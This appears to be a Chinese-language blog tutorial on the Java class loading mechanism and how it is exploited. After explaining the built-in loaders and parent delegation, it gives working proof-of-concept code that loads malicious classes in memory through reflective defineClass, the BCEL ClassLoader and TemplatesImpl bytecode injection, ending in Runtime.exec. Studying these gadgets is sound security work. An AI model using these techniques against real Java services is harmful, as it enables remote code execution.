【java安全】类加载机制与利用方式学习
学习一下java的类加载机制以及相关的利用方式
简介
Java类加载器(Java Classloader)是Java运行时环境(Java Runtime Environment)的一部分,负责动态加载Java类到Java虚拟机的内存空间中,用于加载系统、网络或者其他来源的类文件。Java源代码通过javac编译器编译成类文件,然后JVM来执行类文件中的字节码来执行程序。
类的加载就是由java类加载器实现的,作用将类文件进行动态加载到java虚拟机内存中运行。
类文件编译流程
以下图为例子,比如我们创建一个ClassLoaderTest.java文件运行,经过javac编译,然后生成ClassLoaderTest.class文件。这个java文件和生成的class文件都是存储在我们的磁盘当中。但如果我们需要将磁盘中的class文件在java虚拟机内存中运行,需要经过一系列的类的生命周期(加载、连接(验证-->准备-->解析)和初始化操作,最后就是我们的java虚拟机内存使用自身方法区中字节码二进制数据去引用堆区的Class对象。
应用场景
1、资源隔离:不同jar包单独运行
2、热部署:在程序运行时更新Java类文件
3、代码保护:对Java字节码文件进行加密,再使用特定的Classloader进行解密加载,实现对项目代码的保护
类加载器分类
Java类加载器主要分为两种:一种是JVM自带的类加载器,分别为引导类加载器、扩展类加载器和系统类加载器。另外一种就是用户自定义的类加载器,可以通过继承java.lang.ClassLoader类的方式实现自己的类加载器。
引导类加载器
引导类加载器(BootstrapClassLoader),底层原生代码是C++语言编写,属于jvm一部分,不继承java.lang.ClassLoader类,也没有父加载器,主要负责加载核心java库(即JVM本身),存储在/jre/lib/rt.jar目录当中。(同时处于安全考虑,BootstrapClassLoader只加载包名为java、javax、sun等开头的类)。
我们使用Object类为例,看看其是否存在父加载器。因为Object类是所有子类的父类,归属于BootstrapClassLoader。发现并没有父类加载器,结果为null。
package com.xxf;
public class Test {
public static void main(String[] args) {
System.out.println(Object.class.getClassLoader());
}
}
// null
扩展类加载器
扩展类加载器(ExtensionsClassLoader),由sun.misc.Launcher$ExtClassLoader类实现,用来在/jre/lib/ext或者java.ext.dirs中指明的目录加载java的扩展库。Java虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载java类。
比如以下目录的jar包均由扩展类加载器加载
比如查看zipfs.jar中的一个类的类加载器
package com.xxf;
import com.sun.nio.zipfs.ZipInfo;
public class Test {
public static void main(String[] args) {
System.out.println(ZipInfo.class.getClassLoader());
}
}
// sun.misc.Launcher$ExtClassLoader@330bedb4
App类加载器/系统类加载器
App类加载器/系统类加载器(AppClassLoader)由sun.misc.Launcher$AppClassLoader实现,一般通过(java.class.path或者Classpath环境变量)来加载Java类,也就是我们常说的classpath路径。通常我们是使用这个加载类来加载Java应用类,可以使用ClassLoader.getSystemClassLoader()来获取它。
比如我们写的测试类也是由它来加载
package com.xxf;
public class Test {
public static void main(String[] args) {
System.out.println(ClassLoader.getSystemClassLoader());
System.out.println(Test.class.getClassLoader());
}
}
// sun.misc.Launcher$AppClassLoader@18b4aac2
// sun.misc.Launcher$AppClassLoader@18b4aac2
双亲委派机制
通常情况下,我们就可以使用JVM默认三种类加载器进行相互配合使用,且是按需加载方式,就是我们需要使用该类的时候,才会将生成的class文件加载到内存当中生成class对象进行使用,且加载过程使用的是双亲委派模式,及把需要加载的类交由父加载器进行处理。
双亲委派好处
1、避免类的重复加载
2、保证java核心类库的安全
ClassLoader类核心方法
除了上述BootstrapClassLoader,其他类加载器都是继承了CLassLoader类,我们就一起看看其类的核心方法。
loadclass
就是主要进行类加载的方法,默认的双亲委派机制就实现在这个方法中。
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// 首先检查这个classsh是否已经加载过了
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
// c==null表示没有加载,如果有父类的加载器则让父类加载器加载
if (parent != null) {
c = parent.loadClass(name, false);
} else {
//如果父类的加载器为空 则说明递归到bootStrapClassloader了
//bootStrapClassloader比较特殊无法通过get获取
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {}
if (c == null) {
//如果bootstrapClassLoader 仍然没有加载过,则递归回来,尝试自己去加载class
long t1 = System.nanoTime();
c = findClass(name);
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
findClass
根据名称或位置加载.class字节码
这个方法只抛出了一个异常,没有默认实现,JDK1.2之后已不再提倡用户直接覆盖loadClass()方法,而是建议把自己的类加载逻辑实现到findClass()方法中。
/**
* @since 1.2
*/
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
所以,如果想定义一个自己的类加载器,并且要遵守双亲委派模型,那么可以继承ClassLoader,并且在findClass中实现你自己的加载逻辑即可
defineClass
把字节码转化为Class
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
protectionDomain = preDefineClass(name, protectionDomain);
String source = defineClassSourceLocation(protectionDomain);
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}
resolveClass
链接指定Java类
protected final void resolveClass(Class<?> c) {
resolveClass0(c);
}
private native void resolveClass0(Class c);
主动破坏双亲委派机制
通过上面的实现可以知道,双亲委派核心是在loadclass中实现,那么要破坏双亲委派,则自定义一个classloader实现loadclass方法,方法中不进行委派即可
自定义类加载器
1、继承ClassLoader类
2、覆盖findClass()方法
3、在findClass()方法中调用defineClass()方法
如解密的ClassLoader
public class Decryption extends ClassLoader { // 继承ClassLoader类
private String rootDir;
public Decryption(String rootDir) {
this.rootDir = rootDir;
}
@Override // 重写覆盖findClass
protected Class<?> findClass(String className) throws ClassNotFoundException {
Class<?> c = findLoadedClass(className);
if (c != null) {
return c;
} else {
ClassLoader parent = this.getParent();
try {
c = parent.loadClass(className);
} catch (ClassNotFoundException e) {
// System.out.println("父类无法加载你的class,抛出ClassNotFoundException,已捕获,继续运行");
}
if (c != null) {
System.out.println("父类成功加载");
return c;
} else {// 自己加载,读取文件 转化成字节数组
byte[] classData = getClassData(className);
if (classData == null) {
throw new ClassNotFoundException();
} else { // 调用defineClass()方法
c = defineClass(className, classData, 0, classData.length);
return c;
}
}
}
}
URLClassLoader
URLClassLoader类继承SecureClassLoader -> ClassLoader,可以加载本地磁盘和网络中的jar包类文件。
本地磁盘class文件调用
package com.yutt;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class LoaderTest {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException {
ClassLoader classLoader = new URLClassLoader(new URL[]{new URL("file://E:\\javaProject\\ClassloaderLearn\\src\\main\\java\\com\\xxf\\Test.class")});
Class clazz = classLoader.loadClass("com.xxf.Test");
clazz.newInstance();
}
}
网络传输class文件调用
package com.yutt;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class LoaderTest {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException {
ClassLoader classLoader = new URLClassLoader(new URL[]{new URL("http://192.168.199.212:9090/Test.class")});
Class clazz = classLoader.loadClass("com.xxf.Test");
clazz.newInstance();
}
}
使用ClassLoader.defineClass 加载恶意类
package classloader;
import java.io.FileInputStream;
import java.lang.reflect.Method;
import java.util.Base64;
// 使用 ClassLoader.defineClass 加载内存恶意类
public class ClassLoader3 {
public static void main(String[] args) {
try {
// 读取恶意类字节码
String cwd = System.getProperty("user.dir");
byte[] buffer = new byte[4096];
int n = new FileInputStream(String.format("%s/assets/Evil.class", cwd)).read(buffer);
byte[] bytes = new byte[n];
System.arraycopy(buffer, 0, bytes, 0, n);
System.out.println(Base64.getEncoder().encodeToString(bytes));
// 获取ClassLoader
Class loader = Class.forName("java.lang.ClassLoader");
// 反射获取ClassLoader.defineClass方法并调用
Method method = loader.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
Class clazz = (Class) method.invoke(ClassLoader.getSystemClassLoader(), bytes, 0, bytes.length);
// 创建恶意类实例,触发恶意代码
clazz.newInstance();
} catch (Exception e) {
e.printStackTrace();
}
}
}
使用BCELClassLoader
加载恶意类
BCEL Classloadercom.sun.org.apache.bcel.internal.util.ClassLoader
在 JDK < 8u251之前存在于rt.jar中,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()
方法。
源码在这:核心是判断类名是否以"BCEL$$$"开头,是则调用createClass
新建类
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
createClass
方法则去除开头的标识符,调用decode解码,parser
解析返回Javaclass,最终转化为Class
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}
// Adapt the class name to the passed value
ConstantPool cp = clazz.getConstantPool();
ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
Constants.CONSTANT_Class);
ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
Constants.CONSTANT_Utf8);
name.setBytes(class_name.replace('.', '/'));
return clazz;
}
利用代码:
package classloader;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.FileInputStream;
// 使用 BCELClassLoader 从内存加载恶意类
public class ClassLoader4 {
public static void main(String[] args) {
try {
String cwd = System.getProperty("user.dir");
byte[] buffer = new byte[4096];
int n = new FileInputStream(String.format("%s/assets/Evil.class", cwd)).read(buffer);
byte[] bytes = new byte[n];
System.arraycopy(buffer, 0, bytes, 0, n);
String name = Utility.encode(bytes, true);
System.out.println(name);
ClassLoader classLoader = new ClassLoader();
String poc = String.format("$$BCEL$$%s", name);
System.out.println(poc);
if (true) {
Class clazz = classLoader.loadClass(poc);
clazz.newInstance();
} else {
Class.forName(poc, true, classLoader);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
使用TemplatesImpl
加载恶意类
参考:https://blog.weik1.top/2021/01/15/TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE/
ClassLoader 的 defineClass 方法只能通过反射调用,在实际环境中很难有利用场景。但是在 TemplatesImpl 类中有一个内部类 TransletClassLoader 它重写了 defineClass,并且这里没有显式地声明其定义域。
Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
于是找调用该内部类defineClass的方法,找到如下调用链
TemplatesImpl#getOutputProperties() ->TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
尝试触发
package classloader;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;
// 使用 templatesImpl 从内存加载恶意类
public class ClassLoader5 {
public static void main(String[] args) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass(String.format("Evil%s", System.nanoTime()));
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
String os = System.getProperty("os.name");
String cmd;
if (os != null && os.toLowerCase().contains("win")) {
cmd = "calc.exe";
} else {
cmd = "open -na Calculator.app";
}
String code = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", cmd.replace("\\", "\\\\").replace("\"", "\\\""));
ctClass.makeClassInitializer().insertAfter(code);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Class clazz = TemplatesImpl.class;
Field field = clazz.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][]{bytes});
field = TemplatesImpl.class.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "");
field = TemplatesImpl.class.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
templates.getOutputProperties();
} catch (Exception e) {
e.printStackTrace();
}
}
}